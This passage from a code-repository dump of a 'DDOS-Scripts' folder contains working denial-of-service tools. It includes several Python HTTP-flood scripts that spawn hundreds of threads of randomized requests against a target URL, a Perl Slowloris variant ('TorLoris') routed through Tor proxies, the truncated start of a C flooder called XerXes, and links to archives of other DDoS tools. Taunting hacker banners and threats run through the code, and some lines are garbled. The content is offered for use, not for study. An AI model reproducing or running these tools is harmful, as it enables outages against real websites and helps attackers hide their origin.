MonitorThread(threading.Thread): 147 | def run(self): 148 | previous=request_counter 149 | while flag==0: 150 | if (previous+100request_counter): 151 | print "%d Shots sends Senting" % (request_counter) 152 | previous=request_counter 153 | if flag==2: 154 | print "\n -M60 Hits are secced" 155 | 156 | #execute 157 | if len(sys.argv) < 2: 158 | usage() 159 | sys.exit() 160 | else: 161 | if sys.argv[1]=="help": 162 | usage() 163 | sys.exit() 164 | else: 165 | print "Ak 47 attack was been sended This tool is created by : Anonymous Hackers" 166 | if len(sys.argv)== 3: 167 | if sys.argv[2]=="safe": 168 | set_safe() 169 | url = sys.argv[1] 170 | if url.count("/")==2: 171 | url = url + "/" 172 | m = re.search('http\://([^/]*)/?.*', url) 173 | host = m.group(1) 174 | for i in range(500): 175 | t = HTTPThread() 176 | t.start() 177 | t = MonitorThread() 178 | t.start() 179 | -------------------------------------------------------------------------------- /DDOS-Scripts/pentasec.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/pentasec.rar -------------------------------------------------------------------------------- /DDOS-Scripts/purple.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import sys 3 | import threading 4 | import random 5 | import re 6 | 7 | #global params 8 | url='' 9 | host='' 10 | headers_useragents=[] 11 | headers_referers=[] 12 | request_counter=0 13 | flag=0 14 | safe=0 15 | 16 | def inc_counter(): 17 | global request_counter 18 | request_counter+=1 19 | 20 | def set_flag(val): 21 | global flag 22 | flag=val 23 | 24 | def set_safe(): 25 | global safe 26 | safe=1 27 | 28 | # generates a user agent array 29 | def useragent_list(): 30 | global headers_useragents 31 | headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') 32 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 33 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 34 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') 35 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') 36 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 37 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 38 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 39 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 40 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 41 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 42 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 43 | return(headers_useragents) 44 | 45 | # generates a referer array 46 | def referer_list(): 47 | global headers_referers 48 | headers_referers.append('http://www.google.com/?q=') 49 | headers_referers.append('http://www.usatoday.com/search/results?q=') 50 | headers_referers.append('http://engadget.search.aol.com/search?q=') 51 | headers_referers.append('http://' + host + '/') 52 | return(headers_referers) 53 | 54 | #builds random ascii string 55 | def buildblock(size): 56 | out_str = '' 57 | for i in range(0, size): 58 | a = random.randint(65, 90) 59 | out_str += chr(a) 60 | return(out_str) 61 | 62 | def usage(): 63 | print '---------------------------------------------------' 64 | print 'USAGE: python Purple.py ' 65 | print 'Atacando site, by: KeyBoard' 66 | print "\a" 67 | print \ 68 | """ 69 | ... 70 | ;::::; Attacking website whit 65500 packets... 71 | ;::::; :; By KeyBoard 72 | ;:::::' :; 73 | ;:::::; ;. 74 | ,:::::' ; OOO\ 75 | ::::::; ; OOOOO\ 76 | ;:::::; ; OOOOOOOO 77 | ,;::::::; ;' / OOOOOOO 78 | ;:::::::::`. ,,,;. / / DOOOOOO 79 | .';:::::::::::::::::;, / / DOOOO 80 | ,::::::;::::::;;;;::::;, / / DOOO 81 | ;`::::::`'::::::;;;::::: ,#/ / DOOO 82 | :`:::::::`;::::::;;::: ;::# / DOOO 83 | ::`:::::::`;:::::::: ;::::# / DOO 84 | `:`:::::::`;:::::: ;::::::#/ DOO 85 | :::`:::::::`;; ;:::::::::## OO 86 | ::::`:::::::`;::::::::;:::# OO 87 | `:::::`::::::::::::;'`:;::# O 88 | `:::::`::::::::;' / / `:# 89 | ::::::`:::::;' / / `# 90 | 91 | """ 92 | print '---------------------------------------------------' 93 | 94 | 95 | #http request 96 | def httpcall(url): 97 | useragent_list() 98 | referer_list() 99 | code=0 100 | if url.count("?")>0: 101 | param_joiner="&" 102 | else: 103 | param_joiner="?" 104 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 105 | request.add_header('User-Agent', random.choice(headers_useragents)) 106 | request.add_header('Cache-Control', 'no-cache') 107 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 108 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) 109 | request.add_header('Keep-Alive', random.randint(110,120)) 110 | request.add_header('Connection', 'keep-alive') 111 | request.add_header('Host',host) 112 | try: 113 | urllib2.urlopen(request) 114 | except urllib2.HTTPError, e: 115 | #print e.code 116 | set_flag(1) 117 | print 'Flooding WebSite Port 80 with 65000-byte packets for 99999' 118 | code=500 119 | except urllib2.URLError, e: 120 | #print e.reason 121 | sys.exit() 122 | else: 123 | inc_counter() 124 | urllib2.urlopen(request) 125 | return(code) 126 | 127 | 128 | #http caller thread 129 | class HTTPThread(threading.Thread): 130 | def run(self): 131 | try: 132 | while flag<2: 133 | code=httpcall(url) 134 | if (code==500) & (safe==1): 135 | set_flag(2) 136 | except Exception, ex: 137 | pass 138 | 139 | # monitors http threads and counts requests 140 | class MonitorThread(threading.Thread): 141 | def run(self): 142 | previous=request_counter 143 | while flag==0: 144 | if (previous+100request_counter): 145 | print "%d Shots sends Senting" % (request_counter) 146 | previous=request_counter 147 | if flag==2: 148 | print "\n -M60 Hits are secced" 149 | 150 | #execute 151 | if len(sys.argv) < 2: 152 | usage() 153 | sys.exit() 154 | else: 155 | if sys.argv[1]=="help": 156 | usage() 157 | sys.exit() 158 | else: 159 | print "Attacking WebSite Port 80 with 65000-byte packets for 99999 By KeyBoard" 160 | if len(sys.argv)== 3: 161 | if sys.argv[2]=="safe": 162 | set_safe() 163 | url = sys.argv[1] 164 | if url.count("/")==2: 165 | url = url + "/" 166 | m = re.search('http\://([^/]*)/?.*', url) 167 | for i in range(500): 168 | t = HTTPThread() 169 | t.start() 170 | t = MonitorThread() 171 | t.start() 172 | -------------------------------------------------------------------------------- /DDOS-Scripts/rudy.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/rudy.rar -------------------------------------------------------------------------------- /DDOS-Scripts/sadattack.py: -------------------------------------------------------------------------------- 1 | ####################################-> 2 | #4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau 3 | #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D: 4 | #5afc3c0f68ff47b53b485fcd53e898a9######---->SadAttack :( 5 | #ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau 6 | #6e70e3b1bf171ae14505f4f8b0dc4e5a####--> 7 | ####################################-> 8 | #https://www.youtube.com/watch?v=Aps4ZczffVw# 9 | #NO SYSTEM IS SAFE!# 10 | 11 | 12 | import urllib2 13 | import sys 14 | import threading 15 | import random 16 | import re 17 | 18 | #global params 19 | url='' ############################### 20 | host='' #~~~~Created By Anonymous~~~~~# 21 | headers_useragents=[] #~~~~~~~~~~@FollowMe~~~~~~~~~~# 22 | headers_referers=[] #_____CATCH ME IF YOU CAN_____# 23 | request_counter=0 #~~~~~~~~~~Anonymous~~~~~~~~~~# 24 | flag=0 #~~~~~~DELETE THE ELITE~~~~~~~# 25 | safe=0 ############################### 26 | 27 | def inc_counter(): 28 | global request_counter 29 | request_counter+=45 30 | 31 | def set_flag(val): 32 | global flag 33 | flag=val 34 | 35 | def set_safe(): 36 | global safe 37 | safe=1 38 | 39 | # generates a user agent array 40 | def useragent_list(): 41 | global headers_useragents 42 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534') 43 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 44 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 45 | headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)') 46 | headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2') 47 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 48 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 49 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 50 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 51 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 52 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 53 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 54 | return(headers_useragents) 55 | 56 | # generates a referer array 57 | def referer_list(): 58 | global headers_referers 59 | headers_referers.append('http://www.google.com/?q=') ############################ 60 | headers_referers.append('http://www.usatoday.com/search/results?q=') #Pre-configured # 61 | headers_referers.append('http://engadget.search.aol.com/search?q=') #Botnets # 62 | headers_referers.append('http://www.google.com/?q=') #Infected's Websites # 63 | headers_referers.append('http://www.usatoday.com/search/results?q=') #Best's Shells Only # 64 | headers_referers.append('http://engadget.search.aol.com/search?q=') #All uploaded by ... # 65 | headers_referers.append('http://www.bing.com/search?q=') #From Anonymous Team # 66 | headers_referers.append('http://search.yahoo.com/search?p=') ############################ 67 | headers_referers.append('http://www.ask.com/web?q=') 68 | headers_referers.append('http://search.lycos.com/web/?q=') 69 | headers_referers.append('http://busca.uol.com.br/web/?q=') 70 | headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=') 71 | headers_referers.append('http://www.dmoz.org/search/search?q=') 72 | headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=') 73 | headers_referers.append('http://yandex.ru/yandsearch?text=') 74 | headers_referers.append('http://www.zhongsou.com/third?w=') 75 | headers_referers.append('http://hksearch.timway.com/search.php?query=') 76 | headers_referers.append('http://find.ezilon.com/search.php?q=') 77 | headers_referers.append('http://www.sogou.com/web?query=') 78 | headers_referers.append('http://api.duckduckgo.com/html/?q=') 79 | headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=') 80 | 81 | # generates a Keyword list 82 | def keyword_list(): 83 | global keyword_top 84 | keyword_top.append('HaxStroke') 85 | keyword_top.append('Suicide') 86 | keyword_top.append('Sex') 87 | keyword_top.append('Robin Williams') 88 | keyword_top.append('World Cup') 89 | keyword_top.append('Ca Si Le Roi') 90 | keyword_top.append('Ebola') 91 | keyword_top.append('Malaysia Airlines Flight 370') 92 | keyword_top.append('ALS Ice Bucket Challenge') 93 | keyword_top.append('Flappy Bird') 94 | keyword_top.append('Conchita Wurst') 95 | keyword_top.append('ISIS') 96 | keyword_top.append('Frozen') 97 | keyword_top.append('014 Sochi Winter Olympics') 98 | keyword_top.append('IPhone') 99 | keyword_top.append('Samsung Galaxy S5') 100 | keyword_top.append('Nexus 6') 101 | keyword_top.append('Moto G') 102 | keyword_top.append('Samsung Note 4') 103 | keyword_top.append('LG G3') 104 | keyword_top.append('Xbox One') 105 | keyword_top.append('Apple Watch') 106 | keyword_top.append('Nokia X') 107 | keyword_top.append('Ipad Air') 108 | keyword_top.append('Facebook') 109 | keyword_top.append('Anonymous') 110 | keyword_top.append('DJ Bach') 111 | 112 | headers_referers.append('http://' + host + '/') 113 | return(headers_referers) 114 | 115 | #builds random ascii string 116 | def buildblock(size): 117 | out_str = '' 118 | for i in range(0, size): 119 | a = random.randint(65, 160) 120 | out_str += chr(a) 121 | return(out_str) 122 | 123 | def usage(): 124 | print 'SadAttack Version 2.0 DDoS Tool Created By Anonymous ' 125 | print 'Anonymous TEAM ' 126 | print 'New loaded Botnets: 39,445,657' 127 | print 'Usage: SadAttack (url)' 128 | print 'Example: Sadattack.py http://luthi.co.il/' 129 | print "\a" 130 | print \ 131 | """ 132 | ################### 133 | ###!!!!!!!!!!!!!!!!!!!#### 134 | ###!!!!!!!!!!!!!!!!!!!!!!!!!#### 135 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!### 136 | ###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!### 137 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!### 138 | ##!!!!!!!!!#####!!!!!!!!!!!#####!!!!!!!!!## 139 | ##!!!!!!!!!!######!!!!!!!!!!######!!!!!!!!!## 140 | ##!!!!!!!!!!!####!!!!!!!!!!!!####!!!!!!!!!!!## 141 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!## 142 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!## 143 | ##!!!!!!!!!!!!!!!!!!!!####!!!!!!!!!!!!!!!!!!!!## 144 | ##!!!!!!!!!!!!!!!###############!!!!!!!!!!!!!!## 145 | ##!!!!!!!!!!!!####!!!!!!!!!!!#####!!!!!!!!!!!## 146 | ###!!!!!!!!!###!!!!!!!!!!!!!!!!!!##!!!!!!!!!!## 147 | ##!!!!!!!!!#!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!!## 148 | ###!!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!## 149 | ###!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!## 150 | ###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!## 151 | ###!!!!!!!!!!!!!!!!!!!!!Hax!!Stroke## 152 | ###!!!!!!!!!!!!!!AnonGhost!Team## 153 | ####!!!!!!!!!!!!!SadAttacK### 154 | ####!!!!!!!!!!!!!!!!!### 155 | ################# 156 | _________________________________________________________________ 157 | 158 | ################## Smoking loud I'm a lonely cloud 159 | #SadBoys 2001 # I'm a lonely cloud, with my windows down 160 | #Yoshi city # I'm a lonely, lonely, I'm a lonely, lonely 161 | ################## I'm a lonely, lonely, I'm a lonely, lonely 162 | 163 | Music : https://www.youtube.com/watch?v=iX1a3JngmpI 164 | _________________________________________________________________ 165 | """ 166 | 167 | 168 | #http request 169 | def httpcall(url): 170 | useragent_list() 171 | referer_list() 172 | code=0 173 | if url.count("?")>0: 174 | param_joiner="&" 175 | else: 176 | param_joiner="?" 177 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 178 | request.add_header('User-Agent', random.choice(headers_useragents)) 179 | request.add_header('Cache-Control', 'no-cache') 180 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 181 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100))) 182 | request.add_header('Keep-Alive', random.randint(110,160)) 183 | request.add_header('Connection', 'keep-alive') 184 | request.add_header('Host',host) 185 | try: 186 | urllib2.urlopen(request) 187 | except urllib2.HTTPError, e: 188 | #print e.code 189 | set_flag(1) 190 | print ' ' 191 | print '#~~~~~~~> We Are Anonymous <~~~~~~~~#~~~>Welcome for the Revolution<~~#' 192 | print '#~~~~~~> Belong your database <~~~~~#~~~~~~~~~>Hello admin<~~~~~~~~#' 193 | print '#~~~~~~> Fuck your Firewall <~~~~~~~#~~~~>your website is down<~~~~#' 194 | print '#~~~> Your website will be down <~~~#~~~>By SadAttack Mass DDoS<~~~#' 195 | print ' ' 196 | code=500 197 | except urllib2.URLError, e: 198 | #print e.reason 199 | sys.exit() 200 | else: 201 | inc_counter() 202 | urllib2.urlopen(request) 203 | return(code) 204 | 205 | 206 | #http caller thread 207 | class HTTPThread(threading.Thread): 208 | def run(self): 209 | try: 210 | while flag<2: 211 | code=httpcall(url) 212 | if (code==500) & (safe==1): 213 | set_flag(2) 214 | except Exception, ex: 215 | pass 216 | 217 | # monitors http threads and counts requests 218 | class MonitorThread(threading.Thread): 219 | def run(self): 220 | previous=request_counter 221 | while flag==0: 222 | if (previous+150request_counter): 223 | print "#~~~>Sad DDoS Attack's Sended: %d Sending more<~~~#" % (request_counter) 224 | previous=request_counter 225 | if flag==2: 226 | print "\n ~>Stopping the mass DDoS Attack<~" 227 | 228 | #execute 229 | if len(sys.argv) < 2: 230 | usage() 231 | sys.exit() 232 | else: 233 | if sys.argv[1]=="help": 234 | usage() 235 | sys.exit() 236 | else: 237 | print "Starting the Sadness in webserver Sad DDoS Tool" 238 | print "Created By Anonymous" 239 | if len(sys.argv)== 3: 240 | if sys.argv[2]=="safe": 241 | set_safe() 242 | url = sys.argv[1] 243 | if url.count("/")==2: 244 | url = url + "/" 245 | m = re.search('http\://([^/]*)/?.*', url) 246 | host = m.group(1) 247 | for i in range(700): 248 | t = HTTPThread() 249 | t.start() 250 | t = MonitorThread() 251 | t.start() 252 | 253 | ####################################-> 254 | #4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau 255 | #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D: 256 | #5afc3c0f68ff47b53b485fcd53e898a9######---->SadAttack :( 257 | #ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau 258 | #6e70e3b1bf171ae14505f4f8b0dc4e5a####-->U R DEAD 259 | ####################################->HA HA HA HA 260 | -------------------------------------------------------------------------------- /DDOS-Scripts/saddam.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/saddam.rar -------------------------------------------------------------------------------- /DDOS-Scripts/saddos.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/saddos.rar -------------------------------------------------------------------------------- /DDOS-Scripts/torloris.pl: -------------------------------------------------------------------------------- 1 | #!/bin/perl 2 | 3 | ##################TorLoris###################### 4 | # Based on the SlowLoris tool by Robert "RSnake" Hansen 5 | # http://ha.ckers.org/slowloris/ 6 | ###################### 7 | 8 | ###########################Setup########################### 9 | #Use the the strict package because... 10 | use strict; 11 | #Include the socket functions of PERL 12 | use IO::Socket; 13 | use IO::Socket::Socks; 14 | #Include threading package 15 | use threads; 16 | #Ignore sigs 17 | $SIG{'PIPE'} = 'IGNORE'; 18 | ######################END OF SETUP########################### 19 | 20 | # Server info and port info. 21 | my $server = shift || "127.0.0.1"; #Server IP address, using a URL may cause information leakage as the DNS query won't go through the socks proxy. 22 | my $protoport = "80"; #Port of web server to attack 23 | my $sleeptimer; #A variable to hold a timer 24 | my $threadcon = 50; #The amount of loops per thread/ 25 | my $concount = 10000; #The total number of connections 26 | my $socktimeout = 5; #Timeout value for the socks socket 27 | my $doesitwork; #Variable to a working/notworking thing 28 | my @timervalues = ( "2", "30", "90", "240", "500"); #Various values to be used when making connectons 29 | my @proxyaddress = ( "127.0.0.1", "127.0.0.1", "127.0.0.1", "127.0.0.1", "127.0.0.1", "127.0.0.1", "127.0.0.1", "127.0.0.1", "127.0.0.1" ); #The address of the proxy. 30 | my @proxyportnums = ( "9051", "9052", "9053", "9054", "9055", "9056", "9057", "9058", "9059"); 31 | my @socksver = ( "5", "5", "5", "5", "5", "5", "5", "5", "5" ); #Socks Version 32 | # End of server info and port info. 33 | 34 | #Randomize the first proxy to use for testing :) 35 | my $firstrandomnumber = int( rand(9)); 36 | 37 | #Create connection to test delay 38 | if (my $sock = IO::Socket::Socks->new(ProxyAddr => $proxyaddress[$firstrandomnumber], 39 | ProxyPort => $proxyportnums[$firstrandomnumber], 40 | ConnectAddr => $server, 41 | ConnectPort => $protoport, 42 | SocksVersion => $socksver[$firstrandomnumber], 43 | Timeout => $socktimeout) or die $SOCKS_ERROR ) { 44 | 45 | ##If the connection works wee generate a http header with some junk as a get but miss the last new line and carridge return chars 46 | my $httprequest =" GET / " . int( rand(99999999999999) ) . " HTTP/1.1\r\n Host: $server\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\nContent-Length: 42\r\n\ "; 47 | 48 | ##If we can send the header down the sock we created earlier 49 | if (print $sock $httprequest) { 50 | #Print a success message 51 | print "Successfull data send\r\n"; 52 | } else { 53 | #print and unsuccessful massage 54 | print "unsuccessful data send, exiting\r\n"; 55 | exit; 56 | } 57 | 58 | #Yes it does work 59 | $doesitwork = 1; 60 | 61 | #Timeout Calc function :) 62 | for (my $blarg = 0; $blarg <= $#timervalues; $blarg++) { 63 | #Print status message 64 | print "Testing $timervalues[$blarg] second delay\r\n"; 65 | 66 | #Sleep for the timer values 67 | sleep($timervalues[$blarg]); 68 | 69 | #send an update to the webserver to test delay 70 | if ( print $sock "X-a: b\r\n" ) { 71 | #If it works, then the timeout can be this or less 72 | print "This timer worked\r\n"; 73 | #Update the sleeptimer variable to contain the successful timer 74 | $sleeptimer = $timervalues[$blarg]; 75 | } else { 76 | #if it doesn't work 77 | if ( $SIG{__WARN__} ) { 78 | #We fail it 79 | print "Failed timeout test at $timervalues[$blarg] :(\r\n"; 80 | #and the timer = the previous value 81 | $sleeptimer = $timervalues[$blarg -1]; 82 | 83 | } 84 | 85 | last; 86 | } 87 | 88 | } 89 | 90 | print "Will connect to $server on port $protoport every with a $sleeptimer timer on each socket\r\n"; 91 | 92 | } else { 93 | 94 | #no it doesn't work 95 | $doesitwork = 0; 96 | 97 | #lol 98 | print "FAILED\r\n"; 99 | 100 | } 101 | 102 | #if the inital connection works 103 | if ($doesitwork == 1) { 104 | 105 | #define some vars 106 | my @threads; 107 | 108 | my $proxyportnumber; 109 | 110 | my $torinstance = 0; 111 | 112 | my $proxycounter; 113 | 114 | my $inum; 115 | 116 | my $threadnumbervar = 1; 117 | 118 | #while < the total number of connections 119 | while ($inum < $concount) { 120 | 121 | #What tor instance is used? 122 | if ($torinstance == 0) { 123 | $proxycounter =1; 124 | $torinstance = 1; 125 | } elsif ($torinstance == 1) { 126 | $proxycounter =2; 127 | $torinstance = 2; 128 | } elsif ($torinstance == 2) { 129 | $proxycounter =3; 130 | $torinstance = 3; 131 | } elsif ($torinstance == 3) { 132 | $proxycounter =4; 133 | $torinstance = 4; 134 | } elsif ($torinstance == 4) { 135 | $proxycounter =5; 136 | $torinstance = 5; 137 | } elsif ($torinstance == 5) { 138 | $proxycounter =6; 139 | $torinstance = 6; 140 | } elsif ($torinstance == 6) { 141 | $proxycounter =7; 142 | $torinstance = 7; 143 | } elsif ($torinstance == 7) { 144 | $proxycounter =8; 145 | $torinstance = 8; 146 | } elsif ($torinstance == 8) { 147 | $proxycounter =0; 148 | $torinstance = 0; 149 | } 150 | 151 | #create a new thread for a connection loop that has all the relevent information 152 | $threads[$inum] = threads->create(\&connectionsub, $threadcon, $server, $protoport,$socktimeout, 'tcp', $sleeptimer, $proxyportnums[$proxycounter], $proxyaddress[$proxycounter], $socksver[$proxycounter], $threadnumbervar ); 153 | #Thread online :) 154 | print "Thread $threadnumbervar ONLINE\r\n"; 155 | #Add the threadcon value to the inum counter 156 | $inum = $inum + $threadcon; 157 | $threadnumbervar ++; 158 | 159 | } 160 | 161 | #Get all the threads into an array 162 | my @letussee = threads->list; 163 | #While the number of threads is greater than 0 164 | while ($#letussee > 0) { 165 | 166 | } 167 | print "Threads all dead :( \r\n"; 168 | 169 | } else { 170 | 171 | #no it doesn't work :( 172 | print "Does not work\r\n"; 173 | 174 | } 175 | 176 | #Connection sub for doing the business 177 | sub connectionsub { 178 | #define a bunch of vars 179 | my ($connum, $threadserver, $threadport, $threadtimeout, $threadproto, $threaddelaytime, $proxport, $proxaddr, $threadsockver, $threadconnumber) = @_; 180 | my @threadsock; 181 | my @threadworking; 182 | my @threadsock; 183 | my $xnum; 184 | 185 | #while always 186 | while (1) { 187 | 188 | print "Thread $threadconnumber Working\r\n"; 189 | 190 | #For each xnum in the total connections per thread 191 | for $xnum (1 .. $connum) { 192 | #Generate a sock (and an if conditional) 193 | if ($threadsock[$xnum] = new IO::Socket::Socks( ProxyAddr => $proxaddr, 194 | ProxyPort => $proxport, 195 | ConnectAddr => $threadserver, 196 | ConnectPort => $threadport, 197 | SocksVersion => $threadsockver, 198 | Timeout => $threadtimeout )) 199 | { 200 | #Generate a request header 201 | my $threadrequest = " GET / " . int( rand(99999999999999) ) . " HTTP/1.1\r\n Host: $server\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\nContent-Length: 42\r\n\ "; 202 | 203 | #Put the sock in a filehandle 204 | my $threadhandle = $threadsock[$xnum]; 205 | 206 | $threadworking[$xnum] = 1; 207 | 208 | #If the connection works 209 | if ($threadhandle) { 210 | 211 | #See what happens 212 | print $threadhandle "$threadrequest"; 213 | if ( $SIG{__WARN__} ) { 214 | $threadworking[$xnum] = 0; 215 | close $threadhandle; 216 | } else { 217 | 218 | $threadworking[$xnum] = 1; 219 | 220 | } 221 | 222 | } 223 | 224 | } else { 225 | 226 | $threadworking[$xnum] = 0; 227 | } 228 | 229 | } 230 | 231 | for my $znum (1 .. $connum) { 232 | if ($threadworking[$znum] == 1) { 233 | if ($threadsock[$znum]) { 234 | 235 | my $threadhandle = $threadsock[$znum]; 236 | 237 | if (print $threadhandle "X-a: b\r\n") { 238 | 239 | $threadworking[$znum] = 1; 240 | 241 | } else { 242 | 243 | $threadworking[$znum] = 0; 244 | 245 | } 246 | 247 | } else { 248 | 249 | $threadworking[$znum] - 0; 250 | 251 | } 252 | } 253 | 254 | } 255 | 256 | sleep($threaddelaytime); 257 | 258 | } 259 | 260 | } 261 | -------------------------------------------------------------------------------- /DDOS-Scripts/torshammer.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/torshammer.rar -------------------------------------------------------------------------------- /DDOS-Scripts/ufonet-master.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/ufonet-master.rar -------------------------------------------------------------------------------- /DDOS-Scripts/xerxes.c: -------------------------------------------------------------------------------- 1 | /* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */ 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | 17 | int make_socket(char *host, char *port) { 18 | struct addrinfo hints, *servinfo, *p; 19 | int sock, r; 20 | // fprintf(stderr, "[Connecting -> %s:%s\n", host, port); 21 | memset(&hints, 0, sizeof(hints)); 22 | hints.ai_family = AF_UNSPEC; 23 | hints.ai_socktype = SOCK_STREAM; 24 | if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { 25 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r)); 26 | exit(0); 27 | } 28 | for(p = servinfo; p != NULL; p = p->ai_next) { 29 | if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { 30 | continue; 31 | } 32 | if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { 33 | close(sock); 34 | continue; 35 | } 36 | break; 37 | } 38 | if(p == NULL) { 39 | if(servinfo) 40 | freeaddrinfo(servinfo); 41 | fprintf(stderr, "No connection could be made\n"); 42 | exit(0); 43 | } 44 | if(servinfo) 45 | freeaddrinfo(servinfo); 46 | fprintf(stderr, "[Connected -> %s:%s]\n", host, port); 47 | return sock; 48 | } 49 | 50 | 51 | void broke(int s) { 52 | // do nothing 53 | 